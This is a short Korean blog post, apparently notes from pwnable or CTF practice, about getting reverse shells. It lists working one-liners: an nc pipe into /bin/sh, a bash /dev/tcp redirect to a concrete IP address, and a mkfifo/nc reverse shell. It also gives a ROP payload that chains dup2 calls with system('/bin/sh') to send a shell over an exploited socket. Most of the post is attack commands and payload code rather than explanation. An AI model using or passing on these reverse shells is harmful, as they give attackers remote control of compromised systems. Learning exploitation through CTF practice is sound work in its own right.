Pwnable!!
[Reverse Connect] dup2, 리버스쉘, reverse
MyriaBreak
2019. 4. 29. 16:24
그냥 안되서 임시포트들을 쓰기로 했다. 이것들 쓰니까 잘되넹 ㅎㅎ
8000 ~ 8002 나 8080 ~ 8083 같은것들을 쓰면 된다. 아주 편하다!
8000
8001
8002
8080
8081
8082
8083
9090
또는 호스트에서 2개 nc로 열어서 입력과 출력을 담당하게 해서, 공격서버의 /bin/sh와 연결해서 쓰기
nc localhost 8080|/bin/sh|nc localhost 9090
아니면 아래와 같이도 사용가능하다.
공격자 : nc -lvp 8080
희생자 : bash -i>& /dev/tcp/공격자아이피/포트 0>&1
bash -i>& /dev/tcp/168.188.123.187/8080 0>&1
* nc에서 e 옵션 없이 reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.69 1337 >/tmp/f
그 외에도 ROP나 Shellcode 사용이 가능하다면 dup2를 이용해서 fd를 복사해사용할 수 있다.
보통 소켓으로 돌아가는 프로그램에서 사용하는 fd때문에 system함수로 /bin/sh를 실행하여 쉘을 따도 리모트서버에서만 쉘이 따지는데
dup2를 이용해서 사용자 fd를 stdin과 stdout으로 리다이렉트 시켜주면된다.
ROP나 SHELLCODE를 다음과 같이 사용할 수 있도록해주면 된다.
dup2(fd, 1) - dup2(fd, 0) - system("/bin/sh")
#Stage 1 - dup2(fd ,1) # copy fd
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(dup2)
#Stage 1 - dup2(fd ,0)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(dup2)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)